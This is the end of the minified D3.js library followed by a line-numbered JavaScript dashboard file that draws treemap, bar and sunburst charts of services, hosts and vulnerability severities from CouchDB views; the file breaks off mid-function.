i=t.call(this,n,u),o=e.call(this,n,u),a=(i.y+o.y)/2,c=[i,{x:i.x,y:a},{x:o.x,y:a},o];return c=c.map(r),"M"+c[0]+"C"+c[1]+" "+c[2]+" "+c[3]}var t=gr,e=pr,r=Co;return n.source=function(e){return arguments.length?(t=bt(e),n):t},n.target=function(t){return arguments.length?(e=bt(t),n):e},n.projection=function(t){return arguments.length?(r=t,n):r},n},Zo.svg.diagonal.radial=function(){var n=Zo.svg.diagonal(),t=Co,e=n.projection;return n.projection=function(n){return arguments.length?e(No(t=n)):t},n},Zo.svg.symbol=function(){function n(n,r){return(ws.get(t.call(this,n,r))||To)(e.call(this,n,r))}var t=Lo,e=zo;return n.type=function(e){return arguments.length?(t=bt(e),n):t},n.size=function(t){return arguments.length?(e=bt(t),n):e},n};var ws=Zo.map({circle:To,cross:function(n){var t=Math.sqrt(n/5)/2;return"M"+-3*t+","+-t+"H"+-t+"V"+-3*t+"H"+t+"V"+-t+"H"+3*t+"V"+t+"H"+t+"V"+3*t+"H"+-t+"V"+t+"H"+-3*t+"Z"},diamond:function(n){var t=Math.sqrt(n/(2*As)),e=t*As;return"M0,"+-t+"L"+e+",0"+" 0,"+t+" "+-e+",0"+"Z"},square:function(n){var t=Math.sqrt(n)/2;return"M"+-t+","+-t+"L"+t+","+-t+" "+t+","+t+" "+-t+","+t+"Z"},"triangle-down":function(n){var t=Math.sqrt(n/Es),e=t*Es/2;return"M0,"+e+"L"+t+","+-e+" "+-t+","+-e+"Z"},"triangle-up":function(n){var t=Math.sqrt(n/Es),e=t*Es/2;return"M0,"+-e+"L"+t+","+e+" "+-t+","+e+"Z"}});Zo.svg.symbolTypes=ws.keys();var Ss,ks,Es=Math.sqrt(3),As=Math.tan(30*Aa),Cs=[],Ns=0;Cs.call=pa.call,Cs.empty=pa.empty,Cs.node=pa.node,Cs.size=pa.size,Zo.transition=function(n){return arguments.length?Ss?n.transition():n:ma.transition()},Zo.transition.prototype=Cs,Cs.select=function(n){var t,e,r,u=this.id,i=[];n=b(n);for(var o=-1,a=this.length;++o<a;){i.push(t=[]);for(var c=this[o],s=-1,l=c.length;++s<l;)(r=c[s])&&(e=n.call(r,r.__data__,s,o))?("__data__"in r&&(e.__data__=r.__data__),Po(e,s,u,r.__transition__[u]),t.push(e)):t.push(null)}return qo(i,u)},Cs.selectAll=function(n){var t,e,r,u,i,o=this.id,a=[];n=w(n);for(var c=-1,s=this.length;++c<s;)for(var l=this[c],f=-1,h=l.length;++f<h;)if(r=l[f]){i=r.__transition__[o],e=n.call(r,r.__data__,f,c),a.push(t=[]);for(var g=-1,p=e.length;++g<p;)(u=e[g])&&Po(u,g,o,i),t.push(u)}return qo(a,o)},Cs.filter=function(n){var t,e,r,u=[];"function"!=typeof n&&(n=R(n));for(var i=0,o=this.length;o>i;i++){u.push(t=[]);for(var e=this[i],a=0,c=e.length;c>a;a++)(r=e[a])&&n.call(r,r.__data__,a,i)&&t.push(r)}return qo(u,this.id)},Cs.tween=function(n,t){var e=this.id;return arguments.length<2?this.node().__transition__[e].tween.get(n):P(this,null==t?function(t){t.__transition__[e].tween.remove(n)}:function(r){r.__transition__[e].tween.set(n,t)})},Cs.attr=function(n,t){function e(){this.removeAttribute(a)}function r(){this.removeAttributeNS(a.space,a.local)}function u(n){return null==n?e:(n+="",function(){var t,e=this.getAttribute(a);return e!==n&&(t=o(e,n),function(n){this.setAttribute(a,t(n))})})}function i(n){return null==n?r:(n+="",function(){var t,e=this.getAttributeNS(a.space,a.local);return e!==n&&(t=o(e,n),function(n){this.setAttributeNS(a.space,a.local,t(n))})})}if(arguments.length<2){for(t in n)this.attr(t,n[t]);return this}var o="transform"==n?Du:hu,a=Zo.ns.qualify(n);return Ro(this,"attr."+n,t,a.local?i:u)},Cs.attrTween=function(n,t){function e(n,e){var r=t.call(this,n,e,this.getAttribute(u));return r&&function(n){this.setAttribute(u,r(n))}}function r(n,e){var r=t.call(this,n,e,this.getAttributeNS(u.space,u.local));return r&&function(n){this.setAttributeNS(u.space,u.local,r(n))}}var u=Zo.ns.qualify(n);return this.tween("attr."+n,u.local?r:e)},Cs.style=function(n,t,e){function r(){this.style.removeProperty(n)}function u(t){return null==t?r:(t+="",function(){var r,u=Wo.getComputedStyle(this,null).getPropertyValue(n);return u!==t&&(r=hu(u,t),function(t){this.style.setProperty(n,r(t),e)})})}var i=arguments.length;if(3>i){if("string"!=typeof n){2>i&&(t="");for(e in n)this.style(e,n[e],t);return this}e=""}return Ro(this,"style."+n,t,u)},Cs.styleTween=function(n,t,e){function r(r,u){var i=t.call(this,r,u,Wo.getComputedStyle(this,null).getPropertyValue(n));return i&&function(t){this.style.setProperty(n,i(t),e)}}return arguments.length<3&&(e=""),this.tween("style."+n,r)},Cs.text=function(n){return Ro(this,"text",n,Do)},Cs.remove=function(){return this.each("end.transition",function(){var n;this.__transition__.count<2&&(n=this.parentNode)&&n.removeChild(this)})},Cs.ease=function(n){var t=this.id;return arguments.length<1?this.node().__transition__[t].ease:("function"!=typeof n&&(n=Zo.ease.apply(Zo,arguments)),P(this,function(e){e.__transition__[t].ease=n}))},Cs.delay=function(n){var t=this.id;return arguments.length<1?this.node().__transition__[t].delay:P(this,"function"==typeof n?function(e,r,u){e.__transition__[t].delay=+n.call(e,e.__data__,r,u)}:(n=+n,function(e){e.__transition__[t].delay=n}))},Cs.duration=function(n){var t=this.id;return arguments.length<1?this.node().__transition__[t].duration:P(this,"function"==typeof n?function(e,r,u){e.__transition__[t].duration=Math.max(1,n.call(e,e.__data__,r,u))}:(n=Math.max(1,n),function(e){e.__transition__[t].duration=n}))},Cs.each=function(n,t){var e=this.id;if(arguments.length<2){var r=ks,u=Ss;Ss=e,P(this,function(t,r,u){ks=t.__transition__[e],n.call(t,t.__data__,r,u)}),ks=r,Ss=u}else P(this,function(r){var u=r.__transition__[e];(u.event||(u.event=Zo.dispatch("start","end"))).on(n,t)});return this},Cs.transition=function(){for(var n,t,e,r,u=this.id,i=++Ns,o=[],a=0,c=this.length;c>a;a++){o.push(n=[]);for(var t=this[a],s=0,l=t.length;l>s;s++)(e=t[s])&&(r=Object.create(e.__transition__[u]),r.delay+=r.duration,Po(e,s,i,r)),n.push(e)}return qo(o,i)},Zo.svg.axis=function(){function n(n){n.each(function(){var n,s=Zo.select(this),l=this.__chart__||e,f=this.__chart__=e.copy(),h=null==c?f.ticks?f.ticks.apply(f,a):f.domain():c,g=null==t?f.tickFormat?f.tickFormat.apply(f,a):wt:t,p=s.selectAll(".tick").data(h,f),v=p.enter().insert("g",".domain").attr("class","tick").style("opacity",ka),d=Zo.transition(p.exit()).style("opacity",ka).remove(),m=Zo.transition(p.order()).style("opacity",1),y=Ti(f),x=s.selectAll(".domain").data([0]),M=(x.enter().append("path").attr("class","domain"),Zo.transition(x));v.append("line"),v.append("text");var _=v.select("line"),b=m.select("line"),w=p.select("text").text(g),S=v.select("text"),k=m.select("text");switch(r){case"bottom":n=Uo,_.attr("y2",u),S.attr("y",Math.max(u,0)+o),b.attr("x2",0).attr("y2",u),k.attr("x",0).attr("y",Math.max(u,0)+o),w.attr("dy",".71em").style("text-anchor","middle"),M.attr("d","M"+y[0]+","+i+"V0H"+y[1]+"V"+i);break;case"top":n=Uo,_.attr("y2",-u),S.attr("y",-(Math.max(u,0)+o)),b.attr("x2",0).attr("y2",-u),k.attr("x",0).attr("y",-(Math.max(u,0)+o)),w.attr("dy","0em").style("text-anchor","middle"),M.attr("d","M"+y[0]+","+-i+"V0H"+y[1]+"V"+-i);break;case"left":n=jo,_.attr("x2",-u),S.attr("x",-(Math.max(u,0)+o)),b.attr("x2",-u).attr("y2",0),k.attr("x",-(Math.max(u,0)+o)).attr("y",0),w.attr("dy",".32em").style("text-anchor","end"),M.attr("d","M"+-i+","+y[0]+"H0V"+y[1]+"H"+-i);break;case"right":n=jo,_.attr("x2",u),S.attr("x",Math.max(u,0)+o),b.attr("x2",u).attr("y2",0),k.attr("x",Math.max(u,0)+o).attr("y",0),w.attr("dy",".32em").style("text-anchor","start"),M.attr("d","M"+i+","+y[0]+"H0V"+y[1]+"H"+i)}if(f.rangeBand){var E=f,A=E.rangeBand()/2;l=f=function(n){return E(n)+A}}else l.rangeBand?l=f:d.call(n,f);v.call(n,l),m.call(n,f)})}var t,e=Zo.scale.linear(),r=zs,u=6,i=6,o=3,a=[10],c=null;return n.scale=function(t){return arguments.length?(e=t,n):e},n.orient=function(t){return arguments.length?(r=t in Ls?t+"":zs,n):r},n.ticks=function(){return arguments.length?(a=arguments,n):a},n.tickValues=function(t){return arguments.length?(c=t,n):c},n.tickFormat=function(e){return arguments.length?(t=e,n):t},n.tickSize=function(t){var e=arguments.length;return e?(u=+t,i=+arguments[e-1],n):u},n.innerTickSize=function(t){return arguments.length?(u=+t,n):u},n.outerTickSize=function(t){return arguments.length?(i=+t,n):i},n.tickPadding=function(t){return arguments.length?(o=+t,n):o},n.tickSubdivide=function(){return arguments.length&&n},n};var zs="bottom",Ls={top:1,right:1,bottom:1,left:1};Zo.svg.brush=function(){function n(i){i.each(function(){var i=Zo.select(this).style("pointer-events","all").style("-webkit-tap-highlight-color","rgba(0,0,0,0)").on("mousedown.brush",u).on("touchstart.brush",u),o=i.selectAll(".background").data([0]);o.enter().append("rect").attr("class","background").style("visibility","hidden").style("cursor","crosshair"),i.selectAll(".extent").data([0]).enter().append("rect").attr("class","extent").style("cursor","move");var a=i.selectAll(".resize").data(p,wt);a.exit().remove(),a.enter().append("g").attr("class",function(n){return"resize "+n}).style("cursor",function(n){return Ts[n]}).append("rect").attr("x",function(n){return/[ew]$/.test(n)?-3:null}).attr("y",function(n){return/^[ns]/.test(n)?-3:null}).attr("width",6).attr("height",6).style("visibility","hidden"),a.style("display",n.empty()?"none":null);var l,f=Zo.transition(i),h=Zo.transition(o);c&&(l=Ti(c),h.attr("x",l[0]).attr("width",l[1]-l[0]),e(f)),s&&(l=Ti(s),h.attr("y",l[0]).attr("height",l[1]-l[0]),r(f)),t(f)})}function t(n){n.selectAll(".resize").attr("transform",function(n){return"translate("+l[+/e$/.test(n)]+","+f[+/^s/.test(n)]+")"})}function e(n){n.select(".extent").attr("x",l[0]),n.selectAll(".extent,.n>rect,.s>rect").attr("width",l[1]-l[0])}function r(n){n.select(".extent").attr("y",f[0]),n.selectAll(".extent,.e>rect,.w>rect").attr("height",f[1]-f[0])}function u(){function u(){32==Zo.event.keyCode&&(C||(x=null,z[0]-=l[1],z[1]-=f[1],C=2),y())}function p(){32==Zo.event.keyCode&&2==C&&(z[0]+=l[1],z[1]+=f[1],C=0,y())}function v(){var n=Zo.mouse(_),u=!1;M&&(n[0]+=M[0],n[1]+=M[1]),C||(Zo.event.altKey?(x||(x=[(l[0]+l[1])/2,(f[0]+f[1])/2]),z[0]=l[+(n[0]<x[0])],z[1]=f[+(n[1]<x[1])]):x=null),E&&d(n,c,0)&&(e(S),u=!0),A&&d(n,s,1)&&(r(S),u=!0),u&&(t(S),w({type:"brush",mode:C?"move":"resize"}))}function d(n,t,e){var r,u,a=Ti(t),c=a[0],s=a[1],p=z[e],v=e?f:l,d=v[1]-v[0];return C&&(c-=p,s-=d+p),r=(e?g:h)?Math.max(c,Math.min(s,n[e])):n[e],C?u=(r+=p)+d:(x&&(p=Math.max(c,Math.min(s,2*x[e]-r))),r>p?(u=r,r=p):u=p),v[0]!=r||v[1]!=u?(e?o=null:i=null,v[0]=r,v[1]=u,!0):void 0}function m(){v(),S.style("pointer-events","all").selectAll(".resize").style("display",n.empty()?"none":null),Zo.select("body").style("cursor",null),L.on("mousemove.brush",null).on("mouseup.brush",null).on("touchmove.brush",null).on("touchend.brush",null).on("keydown.brush",null).on("keyup.brush",null),N(),w({type:"brushend"})}var x,M,_=this,b=Zo.select(Zo.event.target),w=a.of(_,arguments),S=Zo.select(_),k=b.datum(),E=!/^(n|s)$/.test(k)&&c,A=!/^(e|w)$/.test(k)&&s,C=b.classed("extent"),N=I(),z=Zo.mouse(_),L=Zo.select(Wo).on("keydown.brush",u).on("keyup.brush",p);if(Zo.event.changedTouches?L.on("touchmove.brush",v).on("touchend.brush",m):L.on("mousemove.brush",v).on("mouseup.brush",m),S.interrupt().selectAll("*").interrupt(),C)z[0]=l[0]-z[0],z[1]=f[0]-z[1];else if(k){var T=+/w$/.test(k),q=+/^n/.test(k);M=[l[1-T]-z[0],f[1-q]-z[1]],z[0]=l[T],z[1]=f[q]}else Zo.event.altKey&&(x=z.slice());S.style("pointer-events","none").selectAll(".resize").style("display",null),Zo.select("body").style("cursor",b.style("cursor")),w({type:"brushstart"}),v()}var i,o,a=M(n,"brushstart","brush","brushend"),c=null,s=null,l=[0,0],f=[0,0],h=!0,g=!0,p=qs[0];return n.event=function(n){n.each(function(){var n=a.of(this,arguments),t={x:l,y:f,i:i,j:o},e=this.__chart__||t;this.__chart__=t,Ss?Zo.select(this).transition().each("start.brush",function(){i=e.i,o=e.j,l=e.x,f=e.y,n({type:"brushstart"})}).tween("brush:brush",function(){var e=gu(l,t.x),r=gu(f,t.y);return i=o=null,function(u){l=t.x=e(u),f=t.y=r(u),n({type:"brush",mode:"resize"})}}).each("end.brush",function(){i=t.i,o=t.j,n({type:"brush",mode:"resize"}),n({type:"brushend"})}):(n({type:"brushstart"}),n({type:"brush",mode:"resize"}),n({type:"brushend"}))})},n.x=function(t){return arguments.length?(c=t,p=qs[!c<<1|!s],n):c},n.y=function(t){return arguments.length?(s=t,p=qs[!c<<1|!s],n):s},n.clamp=function(t){return arguments.length?(c&&s?(h=!!t[0],g=!!t[1]):c?h=!!t:s&&(g=!!t),n):c&&s?[h,g]:c?h:s?g:null},n.extent=function(t){var e,r,u,a,h;return arguments.length?(c&&(e=t[0],r=t[1],s&&(e=e[0],r=r[0]),i=[e,r],c.invert&&(e=c(e),r=c(r)),e>r&&(h=e,e=r,r=h),(e!=l[0]||r!=l[1])&&(l=[e,r])),s&&(u=t[0],a=t[1],c&&(u=u[1],a=a[1]),o=[u,a],s.invert&&(u=s(u),a=s(a)),u>a&&(h=u,u=a,a=h),(u!=f[0]||a!=f[1])&&(f=[u,a])),n):(c&&(i?(e=i[0],r=i[1]):(e=l[0],r=l[1],c.invert&&(e=c.invert(e),r=c.invert(r)),e>r&&(h=e,e=r,r=h))),s&&(o?(u=o[0],a=o[1]):(u=f[0],a=f[1],s.invert&&(u=s.invert(u),a=s.invert(a)),u>a&&(h=u,u=a,a=h))),c&&s?[[e,u],[r,a]]:c?[e,r]:s&&[u,a])},n.clear=function(){return n.empty()||(l=[0,0],f=[0,0],i=o=null),n},n.empty=function(){return!!c&&l[0]==l[1]||!!s&&f[0]==f[1]},Zo.rebind(n,a,"on")};var Ts={n:"ns-resize",e:"ew-resize",s:"ns-resize",w:"ew-resize",nw:"nwse-resize",ne:"nesw-resize",se:"nwse-resize",sw:"nesw-resize"},qs=[["n","e","s","w","nw","ne","se","sw"],["e","w"],["n","s"],[]],Rs=Qa.format=ic.timeFormat,Ds=Rs.utc,Ps=Ds("%Y-%m-%dT%H:%M:%S.%LZ");Rs.iso=Date.prototype.toISOString&&+new Date("2000-01-01T00:00:00.000Z")?Ho:Ps,Ho.parse=function(n){var t=new Date(n);return isNaN(t)?null:t},Ho.toString=Ps.toString,Qa.second=Dt(function(n){return new nc(1e3*Math.floor(n/1e3))},function(n,t){n.setTime(n.getTime()+1e3*Math.floor(t))},function(n){return n.getSeconds()}),Qa.seconds=Qa.second.range,Qa.seconds.utc=Qa.second.utc.range,Qa.minute=Dt(function(n){return new nc(6e4*Math.floor(n/6e4))},function(n,t){n.setTime(n.getTime()+6e4*Math.floor(t))},function(n){return n.getMinutes()}),Qa.minutes=Qa.minute.range,Qa.minutes.utc=Qa.minute.utc.range,Qa.hour=Dt(function(n){var t=n.getTimezoneOffset()/60;return new nc(36e5*(Math.floor(n/36e5-t)+t))},function(n,t){n.setTime(n.getTime()+36e5*Math.floor(t))},function(n){return n.getHours()}),Qa.hours=Qa.hour.range,Qa.hours.utc=Qa.hour.utc.range,Qa.month=Dt(function(n){return n=Qa.day(n),n.setDate(1),n},function(n,t){n.setMonth(n.getMonth()+t)},function(n){return n.getMonth()}),Qa.months=Qa.month.range,Qa.months.utc=Qa.month.utc.range;var Us=[1e3,5e3,15e3,3e4,6e4,3e5,9e5,18e5,36e5,108e5,216e5,432e5,864e5,1728e5,6048e5,2592e6,7776e6,31536e6],js=[[Qa.second,1],[Qa.second,5],[Qa.second,15],[Qa.second,30],[Qa.minute,1],[Qa.minute,5],[Qa.minute,15],[Qa.minute,30],[Qa.hour,1],[Qa.hour,3],[Qa.hour,6],[Qa.hour,12],[Qa.day,1],[Qa.day,2],[Qa.week,1],[Qa.month,1],[Qa.month,3],[Qa.year,1]],Hs=Rs.multi([[".%L",function(n){return n.getMilliseconds()}],[":%S",function(n){return n.getSeconds()}],["%I:%M",function(n){return n.getMinutes()}],["%I %p",function(n){return n.getHours()}],["%a %d",function(n){return n.getDay()&&1!=n.getDate()}],["%b %d",function(n){return 1!=n.getDate()}],["%B",function(n){return n.getMonth()}],["%Y",we]]),Fs={range:function(n,t,e){return Zo.range(Math.ceil(n/e)*e,+t,e).map(Oo)},floor:wt,ceil:wt};js.year=Qa.year,Qa.scale=function(){return Fo(Zo.scale.linear(),js,Hs)};var Os=js.map(function(n){return[n[0].utc,n[1]]}),Ys=Ds.multi([[".%L",function(n){return n.getUTCMilliseconds()}],[":%S",function(n){return n.getUTCSeconds()}],["%I:%M",function(n){return n.getUTCMinutes()}],["%I %p",function(n){return n.getUTCHours()}],["%a %d",function(n){return n.getUTCDay()&&1!=n.getUTCDate()}],["%b %d",function(n){return 1!=n.getUTCDate()}],["%B",function(n){return n.getUTCMonth()}],["%Y",we]]);Os.year=Qa.year.utc,Qa.scale.utc=function(){return Fo(Zo.scale.linear(),Os,Ys)},Zo.text=St(function(n){return n.responseText}),Zo.json=function(n,t){return kt(n,"application/json",Yo,t)},Zo.html=function(n,t){return kt(n,"text/html",Io,t)},Zo.xml=St(function(n){return n.responseXML}),"function"==typeof define&&define.amd?define(Zo):"object"==typeof module&&module.exports&&(module.exports=Zo),this.d3=Zo}();
0 function treemap(workspace, design, view){
1 var margin = {top: 28, right: 10, bottom: 10, left: 10},
2 width = 160 - margin.left - margin.right,
3 height = 133 - margin.top - margin.bottom;
4
5 var treemap = d3.layout.treemap()
6 .size([width, height])
7 .sticky(true)
8 .value(function(d) {return d.value});
9
10 var div = d3.select("#treemap").append("div")
11 .attr("class", "treemap")
12 .style("position", "relative")
13 .style("width", (width + margin.left + margin.right) + "px")
14 .style("height", (height + margin.top + margin.bottom) + "px")
15 .style("left", margin.left + "px")
16 .style("top", margin.top + "px");
17
18 json_url = "/" + workspace + "/_design/" + design + "/_view/" + view + "?group=true";
19 d3.json(json_url, function(error, root) {
20 if(jQuery.isEmptyObject(root.rows) || root.rows.length < 5){
21 $("#treemap header").after("<div class=\"alert alert-info alert-dismissible\">"+
22 "<button type=\"button\" class=\"close\" data-dismiss=\"alert\">"+
23 "<span aria-hidden=\"true\">&times;</span>"+
24 "<span class=\"sr-only\">Close</span>"+
25 "</button>"+
26 "<p>At least 5 services needed to show this visualization</p>"+
27 "</div>");
28 return
29 }
30 var sort_jotason = sorter_jotason(root);
31 var jotason = {};
32 jotason["children"] = sort_jotason;
33 var node = div.datum(jotason).selectAll(".node")
34 .data(treemap.nodes)
35 .enter().append("div")
36 .attr("class", "node treemap-tooltip")
37 .call(position)
38 .style("background", function(d) { return d.color; });
39 });
40
41 function position() {
42 this.style("left", function(d) { return d.x + "px"; })
43 .style("top", function(d) { return d.y + "px"; })
44 .style("width", function(d) { return Math.max(0, d.dx - 1) + "px"; })
45 .style("height", function(d) { return Math.max(0, d.dy - 1) + "px"; });
46 }
47
48 function sorter_jotason(root){
49 var row = root.rows;
50 obj = {};
51 var obj = row.sort(function(a,b){
52 return (b.value - a.value);
53 });
54 var color = ["#FA5882", "#FF0040", "#B40431", "#610B21", "#2A0A1B"];
55 var objeto = [];
56 for(i = 0; i < 5; i++){
57 obj[i].color = color[i];
58 objeto.push(obj[i]);
59 }
60 return objeto;
61 }
62 $(document).ready(function() {
63 $('#cont').on('mouseenter', '.treemap-tooltip', function (event) {
64 $(this).qtip({
65 overwrite: false, // Don't overwrite tooltips already bound
66 show: {
67 event: event.type, // Use the same event type as above
68 ready: true // Show immediately - important!
69 },
70 hide: {
71 fixed: true,
72 delay: 300
73 },
74 content:{
75 text: function(event, api) {
76 var key = this[0].__data__.key;
77 var value = this[0].__data__.value;
78 var hosts = "<div id='contenido'>Service: "+ key +"</br>Value: "+ value +"</div>";
79 return hosts;
80 }
81 }
82 });
83 });
84 });
85 }
86
87 function bar(workspace, design, view){
88 // Mapping of step names to colors.
89 var margin = {top: 20, right: 20, bottom: 30, left: 40},
90 width = 160 - margin.left - margin.right,
91 height = 149 - margin.top - margin.bottom;
92
93 var color = d3.scale.category20b();
94
95 var x = d3.scale.ordinal()
96 .rangeRoundBands([0, width], .1);
97
98 var y = d3.scale.linear()
99 .range([height, 0]);
100
101 var xAxis = d3.svg.axis()
102 .scale(x)
103 .orient("bottom");
104
105 var yAxis = d3.svg.axis()
106 .scale(y)
107 .orient("left")
108 .ticks(5);
109 var hurl = "/" + workspace + "/_design/" + design + "/_view/hosts";
110 var svg = d3.select("#bar").append("div")
111 .attr("class", "box")
112 .append("svg")
113 .attr("width", width + margin.left + margin.right)
114 .attr("height", height + margin.top + margin.bottom)
115 .append("g")
116 .attr("transform", "translate(" + margin.left + "," + margin.top + ")");
117 var hurl = "/" + workspace + "/_design/" + design + "/_view/hosts";
118 var surl = "/" + workspace + "/_design/" + design + "/_view/byservicecount?group=true";
119
120 var hosts = new Object();
121
122 d3.json(surl, function(error, root) {
123 if(jQuery.isEmptyObject(root.rows) || root.rows.length < 3){
124 $("#bar header").after("<div class=\"alert alert-info alert-dismissible\">"+
125 "<button type=\"button\" class=\"close\" data-dismiss=\"alert\">"+
126 "<span aria-hidden=\"true\">&times;</span>"+
127 "<span class=\"sr-only\">Close</span>"+
128 "</button>"+
129 "<p>At least 3 hosts needed to show this visualization</p>"+
130 "</div>");
131 return
132 }
133 var sort_jotason = sorter_jotason(root);
134 var jotason = {};
135 jotason["children"] = sort_jotason;
136 var data = jotason["children"];
137
138 x.domain(data.map(function(d) { return d[1]; }));
139 y.domain([0, d3.max(data, function(d) { return d[0]; })]);
140
141 svg.selectAll(".bar")
142 .data(data)
143 .enter().append("rect")
144 .attr("class", "bar")
145 .attr("x", function(d) { return x(d[1]); })
146 .attr("y", function(d) { return y(d[0] - 1); })
147 .on("mouseover", function(d){
148 $(this).qtip({
149 overwrite: false, // Don't overwrite tooltips already bound
150 show: {
151 ready: true // Show immediately - important!
152 },
153 hide: {
154 fixed: true,
155 delay: 300
156 },
157 content:{
158 text: function(event, api) {
159 hosts = get_obj(hurl);
160 var name = hosts[d[1]].name;
161 var value = this[0].__data__[0];
162 var hosts = "<div id='contenido'>Host: "+ name +"</br>Value: "+ value +"</div>";
163 return hosts;
164 }
165 }
166 });
167 })
168 .style("fill", function(d) { return color(Math.random()*55); })
169 .attr("height", function(d) { return height - y(d[0]); })
170 .attr("width", 30);
171 });
172
173 function type(d) {
174 d.value = +d.value;
175 return d;
176 }
177 function sorter_jotason(root){
178 var arr = [];
179 var row = root.rows;
180 for (i = 0; i < row.length; i++) {
181 arr.push([row[i].value,row[i].key]);
182 }
183 obj = [];
184 var obj = arr.sort(function(a,b){
185 if (a[0] === b[0]) {
186 return 0;
187 }
188 else {
189 return (a[0] > b[0]) ? -1 : 1;
190 }
191 return obj;
192 });
193 var objeto = [];
194 for(i = 0; i < 3; i++){
195 objeto.push(obj[i]);
196 }
197 return objeto;
198 }
199 function get_obj(ourl) {
200 var ls = {};
201 $.ajax({
202 dataType: "json",
203 url: ourl,
204 async: false,
205 success: function(data) {
206 $.each(data.rows, function(n, obj){
207 ls[obj.key] = obj.value;
208 });
209 }
210 });
211 return ls;
212 }
213 }
214
215 function cake(workspace, design, view){
216 // Dimensions of sunburst.
217 var width = 160;
218 var height = 149;
219 var radius = Math.min(width, height) / 2;
220
221 // Breadcrumb dimensions: width, height, spacing, width of tip/tail.
222 var b = {
223 w: 75, h: 30, s: 3, t: 10
224 };
225
226 // Mapping of step names to colors.
227 var colors = {
228 "low": "#A1CE31",
229 "med": "#DFBF35",
230 "critical": "#8B00FF",
231 "high": "#DF3936",
232 "info": "#858585"
233 };
234
235 // Total size of all segments; we set this later, after loading the data.
236 var totalSize = 0;
237
238 var vis = d3.select("#chart")
239 .attr("class", "box")
240 .append("svg:svg")
241 .attr("class", "box")
242 .attr("width", width)
243 .attr("height", height)
244 .append("svg:g")
245 .attr("id", "container")
246 .attr("transform", "translate(" + width / 2 + "," + height / 2 + ")");
247
248 var partition = d3.layout.partition()
249 .size([2 * Math.PI , radius * radius])
250 .value(function(d) { return d.value; });
251
252 var arc = d3.svg.arc()
253 .startAngle(function(d) { return d.x; })
254 .endAngle(function(d) { return d.x + d.dx; })
255 .innerRadius(function(d) { return Math.sqrt(d.y); })
256 .outerRadius(function(d) { return Math.sqrt(radius); });
257
258 json_url = "/" + workspace + "/_design/" + design + "/_view/" + view + "?group=true";
259 d3.json(json_url, function(error, root) {
260 if(jQuery.isEmptyObject(root.rows)){
261 $("#cake header").after("<div class=\"alert alert-info alert-dismissible\">"+
262 "<button type=\"button\" class=\"close\" data-dismiss=\"alert\">"+
263 "<span aria-hidden=\"true\">&times;</span>"+
264 "<span class=\"sr-only\">Close</span>"+
265 "</button>"+
266 "<p>No vulnerabilities found yet</p>"+
267 "</div>");
268 }
269 var jotason = {};
270 jotason["children"] = root["rows"];
271 var json_finish = group_vulns(jotason);
272 createVisualization(json_finish);
273 });
274
275 // Main function to draw and set up the visualization, once we have the data.
276 function createVisualization(json) {
277 // Basic setup of page elements.
278 initializeBreadcrumbTrail();
279 drawLegend();
280 d3.select("#togglelegend").on("click", toggleLegend);
281
282 // Bounding circle underneath the sunburst, to make it easier to detect
283 // when the mouse leaves the parent g.
284 vis.append("svg:circle")
285 .attr("r", radius)
286 .style("opacity", 0);
287
288 // For efficiency, filter nodes to keep only those large enough to see.
289 var nodes = partition.nodes(json)
290 .filter(function(d) {
291 return (d.dx > 0.005); // 0.005 radians = 0.29 degrees
292 });
293
294 var path = vis.data([json]).selectAll("path")
295 .data(nodes)
296 .enter().append("svg:path")
297 .attr("display", function(d) { return d.depth ? null : "none"; })
298 .attr("d", arc)
299 .attr("fill-rule", "evenodd")
300 .style("fill", function(d) {return colors[d.key]; })
301 .style("stroke-width", "0.5")
302 .style("opacity", 1)
303 .on("mouseover", mouseover)
304
305 // Add the mouseleave handler to the bounding circle.
306 d3.select("#container").on("mouseleave", mouseleave);
307
308 // Get total size of the tree = value of root node from partition.
309 totalSize = path.node().__data__.value;
310 };
311
312 // Fade all but the current sequence, and show it in the breadcrumb trail.
313 function mouseover(d) {
314
315 var percentage = (100 * d.value / totalSize).toPrecision(3);
316 var percentageString = percentage + "%";
317 if (percentage < 0.1) {
318 percentageString = d.value;
319 }
320
321 d3.select("#percentage")
322 .text(percentageString);
323
324 d3.select("#explanation")
325 .style("visibility", "");
326
327 var sequenceArray = getAncestors(d);
328 updateBreadcrumbs(sequenceArray, percentageString);
329
330 // Fade all the segments.
331 d3.selectAll("path")
332 .style("opacity", 0.3);
333
334 // Then highlight only those that are an ancestor of the current segment.
335 vis.selectAll("path")
336 .filter(function(node) {
337 return (sequenceArray.indexOf(node) >= 0);
338 })
339 .style("opacity", 1);
340 }
341
342 // Restore everything to full opacity when moving off the visualization.
343 function mouseleave(d) {
344 // Hide the breadcrumb trail
345 d3.select("#trail")
346 .style("visibility", "hidden");
347
348 // Deactivate all segments during transition.
349 d3.selectAll("path").on("mouseover", null);
350
351 // Transition each segment to full opacity and then reactivate it.
352 d3.selectAll("path")
353 .transition()
354 .duration(1000)
355 .style("opacity", 1)
356 .each("end", function() {
357 d3.select(this).on("mouseover", mouseover);
358 });
359
360 d3.select("#explanation")
361 .style("visibility", "hidden");
362 }
363
364 // Given a node in a partition layout, return an array of all of its ancestor
365 // nodes, highest first, but excluding the root.
366 function getAncestors(node) {
367 var path = [];
368 var current = node;
369 while (current.parent) {
370 path.unshift(current);
371 current = current.parent;
372 }
373 return path;
374 }
375
376 function initializeBreadcrumbTrail() {
377 // Add the svg area.
378 var trail = d3.select("#sequence").append("svg:svg")
379 .attr("width", width)
380 .attr("height", 50)
381 .attr("id", "trail");
382 // Add the label at the end, for the percentage.
383 trail.append("svg:text")
384 .attr("id", "endlabel")
385 .style("fill", "#000");
386 }
387
388 // Generate a string that describes the points of a breadcrumb polygon.
389 function breadcrumbPoints(d, i) {
390 var points = [];
391 points.push("0,0");
392 points.push(b.w + ",0");
393 points.push(b.w + b.t + "," + (b.h / 2));
394 points.push(b.w + "," + b.h);
395 points.push("0," + b.h);
396 if (i > 0) { // Leftmost breadcrumb; don't include 6th vertex.
397 points.push(b.t + "," + (b.h / 2));
398 }
399 return points.join(" ");
400 }
401
402 // Update the breadcrumb trail to show the current sequence and percentage.
403 function updateBreadcrumbs(nodeArray, percentageString) {
404
405 // Data join; key function combines name and depth (= position in sequence).
406 var g = d3.select("#trail")
407 .selectAll("g")
408 .data(nodeArray, function(d) { return d.key; });
409
410 // Add breadcrumb and label for entering nodes.
411 var entering = g.enter().append("svg:g");
412
413 entering.append("svg:polygon")
414 .attr("points", breadcrumbPoints)
415 .style("fill", function(d) {return colors[d.key]; });
416
417 entering.append("svg:text")
418 .attr("x", (b.w + b.t) / 2)
419 .attr("y", b.h / 2)
420 .attr("dy", "0.35em")
421 .attr("text-anchor", "middle")
